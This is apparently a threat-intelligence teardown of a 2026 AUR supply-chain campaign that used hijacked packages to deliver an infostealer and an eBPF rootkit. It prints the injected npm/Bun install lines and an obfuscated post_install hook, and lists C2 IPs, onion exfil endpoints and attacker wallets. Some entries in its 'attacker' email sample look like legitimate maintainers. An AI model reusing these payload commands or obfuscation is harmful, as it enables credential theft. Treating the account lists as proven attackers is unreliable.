Campaign teardown · Arch / AUR
Atomic Arch

June 2026: hundreds of AUR packages hijacked to drop a Rust infostealer and eBPF rootkit, pulled in at build time via npm and Bun.

2.2K
Malicious packages
483
Linked attacker accounts
1.7K
Indicators retained
What actually happened

A trust model, used exactly as designed — against its users.

The AUR is not a curated repository and never claimed to be. It is a collection of user-submitted build recipes; the social contract is that you read the PKGBUILD before you build it. Atomic Arch is what happens when an attacker collects maintainer credentials, adopts orphaned packages, and bets — correctly — that almost nobody runs less PKGBUILD first.

On the malicious revisions the Maintainer field and contributor lines were overwritten and a build-time fetch was injected, in two parallel waves. The npm wave ran npm install atomic-lockfile minimist chalk (minimist and chalk are legitimate decoys; atomic-lockfile is the payload); a Bun wave ran bun install js-digest. makepkg dutifully ran it, dropping a bundled Linux binary: a Rust infostealer (GitHub/npm credentials, SSH keys, Vault tokens, browser cookies, Slack/Discord/Teams/Telegram) paired with an eBPF rootkit that hides PIDs and sockets and kills ptrace, beaconing to a Tor .onion C2.

Scale climbed as people dug in — first ~400, then "7 to 900", then ~1,579 at last public count (about 1.4% of the AUR’s ~100k packages), with more still arriving. Our own dataset holds roughly 1,900 malicious AUR records and ~360 attacker accounts (each malicious package tended to use a fresh AUR account). Treat any single number, ours included, as a lower bound on a moving target.

1
Takeover + orphan adoption
Attackers hijack existing maintainer accounts and adopt orphaned (abandoned) packages, keeping their trusted names and histories. The malicious revision rewrites the Maintainer field and PKGBUILD contributor lines to attacker handles.
2
PKGBUILD / .install weaponised
A build or post-install step fetches a second stage. Early waves: `npm install atomic-lockfile minimist chalk` (minimist/chalk are decoys) and `bun install js-digest`. A follow-on wave hid it in an obfuscated .install hook that de-quotes to `cd /tmp && bun add ansi-colors nextfile-js` (ansi-colors is the decoy) to dodge `git log -S "bun"`. makepkg runs it on the victim’s machine.
3
Stealer (deps) + eBPF rootkit
The npm preinstall hook (./src/hooks/deps) runs a bundled ELF named deps: a credential stealer aimed at developer machines, browser/Electron data, Slack, Teams, Discord, GitHub, npm, Vault, Docker/Podman, SSH keys, VPN material and shell histories. It persists via a systemd service (system-wide as root, a user service otherwise) and, with privileges, an optional eBPF rootkit that hides PIDs/sockets.
4
Exfil over Tor
The agent beacons to a Tor hidden service (POST /api/agent), pulls stages from /bin/linux, and uploads harvested data (POST /upload, also seen via temp.sh).
The plain variant — inadyn-mt
-# Maintainer: Marcin Wieczorek <marcin@marcin.co> → +<vyindpettersen@gmail.com> +depends=('bun') +install=inadyn-mt-deps.install post_install() { cd /tmp && bun add yargs dotenv ansi-colors js-digest }

The un-hidden form: maintainer email swapped, bun added, a -deps.install hook dropped. yargs, dotenv and ansi-colors are legitimate decoys; js-digest is the payload.

The obfuscated variant — htbrowser-bin, de-quoted
post_install → b"u"n 'a'"d"'d' $'\x63'd …ansi-colors… nextfile-js decodes to: cd /tmp && bun add ansi-colors nextfile-js

Every token is split with quotes and ANSI-C hex escapes so the literal strings never appear; ansi-colors is a real, popular package used as camouflage and nextfile-js is the suspicious arg. It beats git log -S "bun", not a shell-aware resolver — and it is crude enough that the second wave was first spotted by a community member running a local LLM over the diffs. Verify: htbrowser-bin commit ↗

Affected AUR packagessample across the npm and bun waves (the full list lives on the aur-general thread); each verifiable in cgit
alvrinadyn-mthtbrowser-binpuppy-browsericeweaselfirefox-floccusfirefox-esr-noscriptbeaker-browser-gitaura-browsercatalyst5-browserdeno-githack-browser-data-gitlibrewolf-extension-vimiumc-binlibrewolf-extension-protonpass-binprivacy-redirect-gitnem-walletnanocurrencybtdex-gitchia-gitconcordium-desktop-wallet-testnet-binclaymore-miner-binalgorand-devtools-binamfora-favicons-gitatto-binfelida-binnpm-accelnodejs-nodemailernodejs-wsnodejs-browser-syncnodejs-json-to-jsnodejs-jscsnodejs-qunitnodejs-pkgnodejs-jsfmtnodejs-vim-debuggernodejs-sweetnodejs-dicy-clijust-jscl-javascriptcl-parse-jscl-parenscriptctjs-binplasma6-applets-fancytaskskmorphkibana6kcmlaptopgjs-gitfontfinderhudkit-waylandnitrogen-gitopenlayersedfbrowser-gitplayhouse-gitneovim-telescope-file-browser-gitpython-django-js-assetcertbox-binruby-oauthruby-activerecordruby-activemodelruby-thread_safelibgdatapython-futuregdl

And the vector is already being copied: a separate upload of google-chrome-stable skipped the bun hook entirely and simply pointed its source at segs.lol, a meme file-host, instead of Google. Same idea, blunter delivery — the genie is out of the bottle.

The evidence (sampled from the VDB)

Two arms: the AUR hijack and its npm payload

Indicator typeSamples
File hashes920
email670
Malicious packages95
Install commands11
Exfil endpoints7
Crypto wallets5
C2 IP addresses4
malicious-version4
Payload / exfil URLs4
commit-hash1
file-path1
Commit-author identities1
Container images1
C2 / exfil domains1
Tor (.onion) endpoints1
Atomic Arch (AUR)
Arch (AUR) First disclosed 2026-06-11
481actors
2.2Krecords
5pkg IOCs
1.6Kindicators

The largest tracked Arch User Repository compromise: hundreds of maintainer accounts hijacked to ship the Atomic-family infostealer through AUR PKGBUILDs.

Attacker accounts sample — showing 200 of 481
PlatformAccountEmailRoleThreats
aur adelaidacervera package-maintainer 72
aur sving1024 package-maintainer 68
aur annikkitikkanen package-maintainer 64
aur charlottedurand package-maintainer 61
aur dominiquini package-maintainer 39
aur wgottwalt package-maintainer 27
aur vitaliikuzhdin package-submitter 19
aur xlibre package-maintainer 18
aur bryanpires package-maintainer 16
aur camillaskov package-maintainer 16
aur chrisjbillington package-maintainer 16
aur fabianzagrajek package-maintainer 16
aur jansvendsen package-maintainer 16
aur juliocasas package-maintainer 16
aur roldanantunez package-maintainer 16
aur slavicanaf package-maintainer 16
aur bentenilsen package-maintainer 15
aur carolinedroz package-maintainer 15
aur stepankapetrova package-maintainer 15
aur thilodoring package-maintainer 15
aur zdenkabednar package-maintainer 15
aur zsomborszabo package-maintainer 15
aur brunoharasimiuk package-maintainer 14
aur charleskensy package-maintainer 14
aur eusebiacalvet package-maintainer 14
aur ewelinakrajniak package-maintainer 14
aur fabiankern package-maintainer 14
aur jeanneweber package-maintainer 14
aur lauramasseron package-maintainer 14
aur raymondbarbey package-maintainer 14
aur simongeisler package-maintainer 14
aur alexandriafaivre package-maintainer 13
aur biancarandazzo package-maintainer 13
aur borismller package-maintainer 13
aur donnadandolo package-maintainer 13
aur elisaverga package-maintainer 13
aur erzsebetszabo package-maintainer 13
aur fennekuiper package-maintainer 13
aur ginodussenvan package-maintainer 13
aur guntherwalder package-maintainer 13
aur jentemolen package-maintainer 13
aur julieiversen package-maintainer 13
aur laetitiavermeil package-maintainer 13
aur melindajuhasz package-maintainer 13
aur mortenmyhre package-maintainer 13
aur rozaliaszilagyi package-maintainer 13
aur solveigbech package-maintainer 13
aur tomemelo package-maintainer 13
aur urtelindner package-maintainer 13
aur veramagalhaes package-maintainer 13
aur yvindpettersen package-maintainer 13
aur custodiatovar package-maintainer 12
aur edoardolopresti package-maintainer 12
aur einokarlsson package-maintainer 12
aur emiliejulliard package-maintainer 12
aur emmavecellio package-maintainer 12
aur jeremioczko package-maintainer 12
aur lauradestrigter package-maintainer 12
aur lennyscheidegger package-maintainer 12
aur mariakarlsson package-maintainer 12
aur michelleholst package-maintainer 12
aur morenoprobst package-maintainer 12
aur nicklasolsen package-maintainer 12
aur renedeleze package-maintainer 12
aur svantehedlund package-maintainer 12
aur williberthenck package-maintainer 12
aur zdenkabolnbach package-maintainer 12
aur adriannacal package-maintainer 11
aur bentekarlsen package-maintainer 11
aur dominikhavlicek package-maintainer 11
aur gyorgykocsis package-maintainer 11
aur janosjonas package-maintainer 11
aur jesusquerol package-maintainer 11
aur jillkamper package-maintainer 11
aur lillyforsberg package-maintainer 11
aur linasundstrom package-maintainer 11
aur oskardam package-maintainer 11
aur raquelmoura package-maintainer 11
aur sofilindqvist package-maintainer 11
aur adanvalencia package-maintainer 10
aur arildknudsen package-maintainer 10
aur bentekjeldsen package-maintainer 10
aur emmanuellecolas package-maintainer 10
aur iarabatista package-maintainer 10
aur istvanilles package-maintainer 10
aur lizzymartens package-maintainer 10
aur manuelromanens package-maintainer 10
aur markussivertsen package-maintainer 10
aur maysolberg package-maintainer 10
aur pompeoponti package-maintainer 10
aur sophiecossy package-maintainer 10
aur stefanhaglund package-maintainer 10
aur timotheelacroix package-maintainer 10
aur annamakinen package-maintainer 9
aur bautistacozar package-maintainer 9
aur bryanvalente package-maintainer 9
aur lapsus package-maintainer 9
aur ptr1337 package-maintainer 9
aur taotieren package-maintainer 9
aur ugoaccardo package-maintainer 9
aur otmarpergande package-maintainer 8
aur tobiaswesterburg package-maintainer 7
aur kalervoheikkinen package-maintainer 6
aur mathijsrubben package-maintainer 6
aur robertwalter package-maintainer 6
aur yngvelevin package-maintainer 6
aur dinavanengeland package-maintainer 5
aur ewaldblaser package-maintainer 5
aur gijsdebeer package-maintainer 5
aur josephinegeorges package-maintainer 5
aur luciecarraud package-maintainer 5
aur ludwinahesse package-maintainer 5
aur marcloiseau package-maintainer 5
aur markvanderveiver package-maintainer 5
aur ortrudmargraf package-maintainer 5
aur rasmusgustavsson package-maintainer 5
aur swivel package-maintainer 5
aur theahermann package-maintainer 5
aur thibautmerle package-maintainer 5
aur vratislavvalenta package-maintainer 5
aur zacharieregnier package-maintainer 5
aur alexandrenavarro package-maintainer 4
aur andersljungberg package-maintainer 4
aur anuheikkinen package-maintainer 4
aur aracelirius package-maintainer 4
aur catringiess package-maintainer 4
aur dafneprats package-maintainer 4
aur dbermond package-maintainer 4
aur dieterhuhn package-maintainer 4
aur dusanpolak package-maintainer 4
aur eduardmaskova package-maintainer 4
aur filipprochazkova package-maintainer 4
aur finnjeppesen package-maintainer 4
aur franziskaweber package-maintainer 4
aur gostasjolander package-maintainer 4
aur gromit package-maintainer 4
aur jaroslawgrottner package-maintainer 4
aur jimmyjohansson package-maintainer 4
aur jozsefnemeth package-maintainer 4
aur juditnemeth package-maintainer 4
aur juliepages package-maintainer 4
aur lazaromerino package-maintainer 4
aur lucasamador package-maintainer 4
aur mafaldamoura package-maintainer 4
aur manuelgiolitti package-maintainer 4
aur mariabalogh package-maintainer 4
aur mariamarton package-maintainer 4
aur martinaritter package-maintainer 4
aur michelcornuz package-maintainer 4
aur miffe package-maintainer 4
aur mikakujala package-maintainer 4
aur milicawinkler package-maintainer 4
aur onny package-submitter 4
aur romanahirt package-maintainer 4
aur saturninosuarez package-maintainer 4
aur simonastankova package-maintainer 4
aur tanjajakobsen package-maintainer 4
aur teodosioolmedo package-maintainer 4
aur timvandrenthe package-maintainer 4
aur ventureo package-maintainer 4
aur vinicioguitart package-maintainer 4
aur andremonnet package-maintainer 3
aur anitaellingsen package-maintainer 3
aur artist package-submitter 3
aur bhyoo package-maintainer 3
aur biankabudner package-maintainer 3
aur bryanliang package-submitter 3
aur byrdltd package-maintainer 3
aur capricornus007 package-maintainer 3
aur cezarycierpisz package-maintainer 3
aur christelbader package-maintainer 3
aur ciprianofabbri package-maintainer 3
aur costantinopriuli package-maintainer 3
aur czyt package-maintainer 3
aur demizer package-submitter 3
aur dominikkiss package-maintainer 3
aur eeeeei package-maintainer 3
aur eivorlundholm package-maintainer 3
aur ellenmyklebust package-maintainer 3
aur fabiankomisarek package-maintainer 3
aur felinedachgeldt package-maintainer 3
aur fidelbolanos package-maintainer 3
aur goranhedberg package-maintainer 3
aur hansuelitanner package-maintainer 3
aur helenrenner package-maintainer 3
aur huldaschurch package-maintainer 3
aur huyz package-submitter 3
aur imrehorvath package-maintainer 3
aur isaacvasseur package-maintainer 3
aur jannehuuskonen package-maintainer 3
aur jozsefnagy package-maintainer 3
aur karlijnrouwhorst package-maintainer 3
aur kekmacska package-maintainer 3
aur kyralemarec package-maintainer 3
aur larsnilsson package-maintainer 3
aur laureherve package-maintainer 3
aur laurensverwoert package-maintainer 3
aur linndahl package-maintainer 3
aur loretomolina package-maintainer 3
aur lucasandersen package-maintainer 3
Indicator samples
File hashes912 · sample 50
00da5a9afdf5a8c7033978d2074039ba1ff7bc7a7221fbd278eb1270bdeb8eae00de3edc306a346ab3ac897f3e2a81555e1189aed6059ba130161f2207510e2a00eec5f04a2c394c832780000c341674dd6db13279497274974d91466fdfeb510147a3a129bbc55045ae0caaf0efc7007eb05dee831ae78078e660e49837465e01f01685f282b78687e2cfd45888429ee43ee9e65c3457ab7f1cd264c942a8040354be4039113a312953145481223e1a89ba181ac97c99da37f1fabd110f779003735f9690d3fd4b32d66aacbf0a6d15a84266bdd06b32c05c8ecc8f6021d2be037aa5d878eddb06fc1d5be788e7bc64545773decacb34228053be746dfc33237371ad49cc331dac8e3437d7d885a9bc1564d0f114fc22e308827b33d0c55ad803ee60eecd19c5d5260f3ae40f535c20488f045fea2f8d72d76f2778b647080904718dd74ffce2263ebe83fba00b9027fa88ef6ea3491b1431ae9e4c3be60cf204bd76747e31a539d947eae877b4db6412011242e62dbf7ad864f0d2594054b927d3907e47e99877013ad7fa045483c1d0a96fd17ec3d61f57bbe85d5408b529079be5a42b106bce2d53a6c746c381a678df1c289a432682cc05e5e88ddc347a079be5a42b106bce2d53a6c746c381a678df1c289a432682cc05e5e88ddc347a079be5a42b106bce2d53a6c746c381a678df1c289a432682cc05e5e88ddc347a092f15949c9a561d1ab0bf580d4b484aaf1d791074682ecd12491cf8a80ffea3027e58289f691503e3245eccc2977440ee10d673e70e4b527812e62cb9ec3d22097a91cb7e9f1577c9f573fc5cc683e8d6b4edea720043c75fedc37a54fae703a080df9bf2a1acdd1008762c65531cd93a9c9a54c367c5a3a3983fd1027a3f5909d57e32920139bc7275b8e0bccfb3bea2fe1d68655f1978ac89f2ce240f2dd209d57e32920139bc7275b8e0bccfb3bea2fe1d68655f1978ac89f2ce240f2dd209d57e32920139bc7275b8e0bccfb3bea2fe1d68655f1978ac89f2ce240f2dd209ee73023a7c2e8a85b35db343f896df2b2f3246c7799dea620f0bfc0836d30c0a24b82c6ac7775b541af426912091fecb34ad5cd9e741a8c6de3ac1c0ee32180a8f1889295ca0e06802e37317862e1552e98f09022c111b145396f36ae20bba0b9b6f97fa8a88314cfa355f3a545dae2dd51c7daa413cb315683c1d16a222170c12a2ce9d354aa378a16c461ad0d5e14634508fc143d0a5ded008b5d5d868830d6e9ff535af085190da7df50887b20f395cd4d6befb7158c9993bf77fe92459a9982877ce944ca522192daa5a54c952c3d368def04b579796ba7109a972453b0d6e9ff535af085190da7df50887b20f395cd4d6befb7158c9993bf77fe92459a9982877ce944ca522192daa5a54c952c3d368def04b579796ba7109a972453b0d6e9ff535af085190da7df50887b20f395cd4d6befb7158c9993bf77fe92459a9982877ce944ca522192daa5a54c952c3d368def04b579796ba7109a972453b0d6e9ff535af085190da7df50887b20f395cd4d6befb7158c9993bf77fe92459a9982877ce944ca522192daa5a54c952c3d368def04b579796ba7109a972453b0daaf01ecda8df66747c95fad52935f3c71fb27197de968e09a69673590e9e080dc55bf18689bb6cb665c0f8ac4cb58ecd1cf1cb1fddc37fb4255fd25a19c9d20e0fd16681a32bca32792053882fdc99d0132a40c5c4a27492557b1b87694bba0e54249a7754b668b436f0f7aa7e95fff68edbb12a93dbee4660e09a8c695f840e54249a7754b668b436f0f7aa7e95fff68edbb12a93dbee4660e09a8c695f840e54249a7754b668b436f0f7aa7e95fff68edbb12a93dbee4660e09a8c695f840e89640cc21ad01c7a4490fdb04c4ef111ff97343f7e8534863d7a6e080eabde0fe6b62e53266939ba70ed30ca201bbe0d85e50b8d5d7e3faaac5c8347e880f3101996793aeede5e456b23b35c2fd4af5c38fd363473dcdda0bce6e21d110a9f88a67e325b1ebf8efef4a7511f135c4f64ff1fc54b8ef925a5df8d6292ba7678101996793aeede5e456b23b35c2fd4af5c38fd363473dcdda0bce6e21d110a9f88a67e325b1ebf8efef4a7511f135c4f64ff1fc54b8ef925a5df8d6292ba7678101996793aeede5e456b23b35c2fd4af5c38fd363473dcdda0bce6e21d110a9f88a67e325b1ebf8efef4a7511f135c4f64ff1fc54b8ef925a5df8d6292ba7678101996793aeede5e456b23b35c2fd4af5c38fd363473dcdda0bce6e21d110a9f88a67e325b1ebf8efef4a7511f135c4f64ff1fc54b8ef925a5df8d6292ba7678101996793aeede5e456b23b35c2fd4af5c38fd363473dcdda0bce6e21d110a9f88a67e325b1ebf8efef4a7511f135c4f64ff1fc54b8ef925a5df8d6292ba7678101996793aeede5e456b23b35c2fd4af5c38fd363473dcdda0bce6e21d110a9f88a67e325b1ebf8efef4a7511f135c4f64ff1fc54b8ef925a5df8d6292ba7678108533cffa5723a4b9e9759af1a9c6108f35418fb2213fd0429900962a83ebc710ede613cce81dc5381ec9c1a08dcfdcd425d2a186a3efb25231ee3ba308585a111b3c1c11e49e06a24736dc1daf768f11ae3d25c67a3baf6616fd48a9513802111b3c1c11e49e06a24736dc1daf768f11ae3d25c67a3baf6616fd48a9513802111b3c1c11e49e06a24736dc1daf768f11ae3d25c67a3baf6616fd48a95138021124f081ba98a3dd1ecd11d4d13e30b58e1ee020dca714710d895a2723e775521126d744a95275b147927eded508150212f03e32b65433c0981b85411342cb4becb814f00871c6d8e6ec1f710acc17dbcb50e9a4bcd6e7f2cc75a6cde06bf78c1126d744a95275b147927eded508150212f03e32b65433c0981b85411342cb4becb814f00871c6d8e6ec1f710acc17dbcb50e9a4bcd6e7f2cc75a6cde06bf78c
email670 · sample 50
128x128@2x.png2187409610@qq.com2187409610@qq.com3.14.e.ter@gmail.comadmin@ptr1337.devadmin@ptr1337.devadmin@ptr1337.devadmin@ptr1337.devadmin@ptr1337.devadmin@ptr1337.devadmin@ptr1337.devadmin@ptr1337.devadmin@ptr1337.devadmin@ptr1337.devadmin@taotieren.comadmin@taotieren.comadmin@taotieren.comadmin@taotieren.comadmin@taotieren.comadmin@taotieren.comadmin@taotieren.comaeroftp@axpdev.italexander@archlinux.orgalexander@archlinux.orgAlexander@archlinux.orgalucryd@archlinux.organdreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.frandreas.enge@inria.fr
Install commands11
bun installnpm install failednpm install -g \npm install -g \npm install -g --cache "${srcdir}/npm-cache" --prefix "${pkgdir}/usr" \npm install -g --prefix "$pkgdir/usr" "$srcdir/${pkgname}-${pkgver}.tgznpm install --legacy-peer-deps --no-audit --no-fundnpm install --no-audit --no-fundnpm install --omit=dev --no-save --no-audit --no-fund --prefer-offline \npm install -s -g \npm install -s -g \
Malicious packages5
atomic-lockfilejs-digestlockfile-jsrakudo-starrunescape-launcher
commit-hash1
d4f410af667f
file-path1
/etc/profile.d/albanianvirus2.sh
Atomic Arch (npm payload)
npm First disclosed 2026-06-11
2actors
3records
94pkg IOCs
126indicators

The npm packages (atomic-lockfile, js-digest, lockfile-js) and container infrastructure that delivered the Atomic Arch second stage.

Attacker accounts
PlatformAccountEmailRoleThreats
npm herbsobering package-maintainer 4
github fardewoak fardewoak@outlook.com container-owner 1
Recovered emails (attacker-supplied): fardewoak@outlook.com
Indicator samples
Malicious packages90 · sample 50
ai-sdk-ollamaatomic-lockfileautotelautotel-adaptersautotel-auditautotel-awsautotel-backendsautotel-cliautotel-cloudflareautotel-devtoolsautotel-drizzleautotel-edgeautotel-eventcatalogautotel-honoautotel-mcpautotel-mcp-instrumentationautotel-mongooseautotel-pactautotel-playwrightautotel-pluginsautotel-sentryautotel-subscribersautotel-tanstackautotel-terminalautotel-vitestautotel-webawaitlyawaitly-analyzeawaitly-libsqlawaitly-mongoawaitly-postgresawaitly-visualizercreate-wrangler-deployeffect-analyzereslint-plugin-awaitlyeslint-plugin-executable-stories-jesteslint-plugin-executable-stories-playwrighteslint-plugin-executable-stories-vitestexecutable-stories-cypressexecutable-stories-demoexecutable-stories-formattersexecutable-stories-initexecutable-stories-jestexecutable-stories-mcpexecutable-stories-playwrightexecutable-stories-reactexecutable-stories-vitest@jagreehal/workflowjs-digestlockfile-js
File hashes8
42b59fdbe1b72895b2951412222ebf4047893d9badc38c54b71321263ce8178c1abb10396e0aadf9793e61ec8829e2046144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98b7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316a6c7977dbc054cdb7fe56da0d2fbd26e2a6fed695deb4263ccbf4adfedd86acbsha256:47893d9badc38c54b71321263ce8178c1abb10396e0aadf9793e61ec8829e204sha256:6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98bsha256:7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316
Exfil endpoints7
http://166.88.54.158/\$/boothttp://166.88.54.158/uploadhttp://olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/api/agenthttps://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/https://temp.sh/uploadPOST /uploadws://166.88.54.158:443
Crypto wallets5
0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b10xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811eTA48dct6rFW8BXsiLAtjFaVFoSuryMjD3vTMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAPTXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG
C2 IP addresses4
166.88.54.158198.105.127.21023.27.202.2739.107.60.51
malicious-version4
1.4.1atomic-lockfile@1.4.2js-digest@4.2.2lockfile-js@1.4.2
Payload / exfil URLs4
http://olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/bin/linuxhttp://olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/bin/sha256/linuxhttps://github.com/fardewoak/nodejs-argo/pkgs/container/herbsobering430https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/
Commit-author identities1
PLYSHKA
Container images1
ghcr.io/fardewoak/nodejs-argo/herbsobering430
C2 / exfil domains1
o4511539639222272.ingest.de.sentry.io
Tor (.onion) endpoints1
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
Reconstruction

How we found the IOCs

The findings above are tidy because hindsight is tidy. The work that produces them is not. Below is the same campaign reassembled into the path a patient analyst walks to reach it, loose thread first, with the dead ends, decoys and false flags left in.

01A package that suddenly wanted npm

The loose thread is mundane. A perfectly ordinary AUR package, the kind you install once and forget, grows a build step that reaches for a JavaScript package manager. An AUR PKGBUILD has no honest reason to run `npm install` while building a native application. One package is a curiosity. The question that turns a curiosity into an investigation is the boring one: is this the only one?

02Grep the history, then cluster the diffs

The AUR is a public git forge, so the first move is free: walk the commit history and diff each latest revision against its last-good parent. The pattern that falls out is not one package but a shape, a recently adopted or hijacked maintainer, a single fresh commit, a build- or install-time fetch that was simply not there before. Clustering on that shape is what turns "a package" into "a campaign" and, eventually, into the roughly nineteen hundred records on this page.

Dead endThe decoy dependencies that ate an afternoon

The install line reads `npm install atomic-lockfile minimist chalk`. minimist and chalk are two of the most-downloaded packages on the npm registry, so the instinct is to chase them, a compromised release? a typosquat of one of them? Both are clean. They are padding, chosen precisely because a reviewer’s eye slides over familiar names. The malice is the one unfamiliar token sitting between them. Time spent auditing minimist was time the attacker budgeted for you to spend.

03atomic-lockfile, and the binary called “deps”

Stripping the decoys leaves atomic-lockfile@1.4.2. Its package.json wires a `preinstall` hook to `./src/hooks/deps`, an ELF dropped in under an innocuous, plural, build-noise name (deps, dependencies) so it reads as tooling in a process list. That is the stage-two delivery: the AUR PKGBUILD is only the loader. From here the artefact stops being shell and starts being a compiled binary, which is where the easy reading ends.

False flagThe 127.0.0.1 that looked like the C2 and wasn’t

Early strings pull a loopback address out of the binary and it is tempting to call it nothing, malware does not phone 127.0.0.1. Wrong on both counts. The real command channel is a Tor hidden service (an .onion, reached via a local proxy), and the loopback is the front door to that proxy, not a debug leftover. Dismissing it would have meant missing the egress design entirely. The lesson is the unglamorous one: localhost in a sample is a question, not an answer.

04Pulling the binary apart

The dropped ELF is a Rust credential stealer. It rakes SSH keys, GitHub and npm tokens, Vault and cloud credentials, Docker and Podman config, browser and Electron stores, Slack, Teams and Discord material, and shell histories, then exfiltrates over the Tor channel with temp.sh as a fallback drop. It persists via a systemd unit (Restart=always, RestartSec=30); run as root it additionally loads an eBPF rootkit that pins hidden_pids, hidden_names and hidden_inodes under /sys/fs/bpf so /proc and /proc/net/tcp lie about it. On a developer’s box, the SSH keys and tokens are the crown jewels; the wallet theft (a swapped /usr/bin/monero-wallet-gui) is almost an afterthought.

Open questionState actor or bored skid? Still unresolved

An eBPF rootkit and a Tor C2 read as capable. A campaign that lets two of the most famous npm packages sit in plain sight as decoys, reuses free-mail addresses, and gets caught by a hobbyist running a model over diffs reads as opportunistic. Both impressions are defensible and we cannot reconcile them from the artefacts alone. We resist the urge to round up to "sophisticated nation-state", capability and tradecraft are different axes, and this campaign scores unevenly on each.

05The count keeps moving, and the strings start vanishing

Mid-investigation the package list is a moving target, and worse, a later wave stops matching the greps that found the first one. Searching history for `bun` or `npm install` quietly returns less than it should. That absence is itself the signal: the operators read the same public history the defenders did and adapted to it.

Dead endChasing a package named “ansi-colors”

De-obfuscating a later `<pkg>-deps.install` hook (every token split with adjacent quotes and ANSI-C hex escapes, `b"u"n`, `$’\x63’d`...) yields `cd /tmp && bun add ansi-colors nextfile-js`. ansi-colors is a real, popular package, so it gets chased exactly like minimist did, and exactly like minimist it is a decoy. The payload is nextfile-js, which is thinly documented enough that some of what gets written about it is inference dressed as fact. We mark it as the payload and say plainly where the sourcing thins out. The obfuscation itself is not clever, it is string-splitting a careful reader defeats in a minute; its only real win is beating substring search, and its real enabler is that almost nobody reads a post_install hook at all.

06Names in the metadata, and which ones are people

Attribution comes from the hijack itself. On a malicious revision the AUR Maintainer field has been overwritten, so the current value is the attacker’s and the previous value is the victim. inadyn-mt is the pattern in one diff: maintainer flips from Marcin Wieczorek <marcin@marcin.co> (the real, impersonated maintainer) to <vyindpettersen@gmail.com>, with `depends=(bun)` and a fresh install hook added alongside. Across the npm arm the same operation surfaces as the publisher herbsobering, the GHCR owner fardewoak, and the handle cypriangula. We attribute the accounts. We do not pretend a free-mail address typed into a hijacked field is a known human.

False trailThe upstream repos are victims, not infrastructure

It is tempting to treat every GitHub repo named in a malicious PKGBUILD as attacker infrastructure and link it as such. Most are the legitimate projects being impersonated, dragged in without their knowledge. Linking them as actors would defame the innocent and pollute the indicator set with noise. The processor keeps a hard victim-versus-actor line for exactly this; getting it wrong is how an "IOC list" becomes a libel generator.

07Where it lands

What survives the dead ends: on the order of nineteen hundred malicious AUR records and roughly three hundred and sixty linked actor accounts, a Rust stealer with an optional eBPF rootkit and a Tor C2, an npm second stage, and a clear hijack-versus-victim ledger. What it cost the ecosystem in trust is real. What it did not touch is worth saying as loudly: the official Arch repositories, signed and maintainer-gated, were never in scope, and neither were the curated overlays. The AUR is user content and always told you so. The fix is not "stop using the AUR", it is "read the PKGBUILD", which was always the deal.

Deep dives

Every technique, on its own terms

Each card is one technique the processor applies: what it does, what it surfaced for Atomic Arch, and where it is thin. Samples are VDB / cited-source values.

Detection — is this package malicious?
DetectionPKGBUILD shell-pattern analysis

A Go port of the traur ruleset (MIT) compiles 239 RE2 patterns and matches them against the whole PKGBUILD: download-and-execute (curl | bash), reverse shells (/dev/tcp), eval-of-base64, and an injected package-manager install in the build() / post-install stage. Any single factual hit sets isMaliciousPackage = true.

What it caughtThe hijacked PKGBUILDs added a build-time package fetch. The early waves were plain one-liners (npm and Bun); once those were being grepped for, a follow-on wave moved the call into an obfuscated .install hook (see Shell-obfuscation, below). Same intent, harder to read.
Samples
npm install atomic-lockfile minimist chalkbun install js-digest
minimist and chalk on the npm line are legitimate decoy dependencies; only atomic-lockfile is malicious. A rule that flagged the whole line would over-report.
Sonatype analysis ↗
DetectionInstall-script (.install) analysis

The same rule families plus an IS- prefixed pass run against any *.install hook (post_install / post_upgrade), where code executes with the user’s privileges outside the build sandbox.

What it caughtThe follow-on wave’s lever. It shipped a generated `<pkg>-deps.install` whose obfuscated post_install runs the Bun fetch — e.g. htbrowser-bin-deps.install. Moving the payload from build() into a post-install hook is precisely the pivot this pass exists to cover.
Samples
htbrowser-bin-deps.installpost_install() runs the obfuscated bun add
AUR cgit commit (htbrowser-bin) ↗
DetectionSource-URL & exfil-endpoint analysis

Source and network strings are matched for Tor (.onion), dynamic-DNS, URL shorteners, paste sites, Discord/Telegram webhooks and tunnel services, the hosts a build script has no honest reason to contact.

What it caughtThe payload’s command-and-control was a Tor hidden service, captured as an onion IOC on the campaign record.
Samples
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
Plain http:// sources were deliberately demoted from “evidence” to “context” after they produced a false positive on a benign formula, weak transport is a hygiene smell, not proof of malware.
ioctl.fail teardown ↗
DetectionGTFOBins / living-off-the-land analysis

95 GTFOBins rules detect trusted interpreters and utilities (node, ruby, nc, tar --checkpoint-action, find -exec) bent into download, execute or reverse-shell primitives.

What it caughtThe second stage runs through Node, a signed, expected interpreter, which is exactly why “it’s just node” is not reassuring. The malice is in what it executes, not which binary executes it.
DetectionShell-obfuscation analysis

Beyond regex: it resolves adjacent-quote char-splitting, ANSI-C hex/octal quoting, variable concatenation and printf/echo char-by-char construction that assemble a command only at shell-parse time, plus long hex/base64 blobs and high-entropy heredocs.

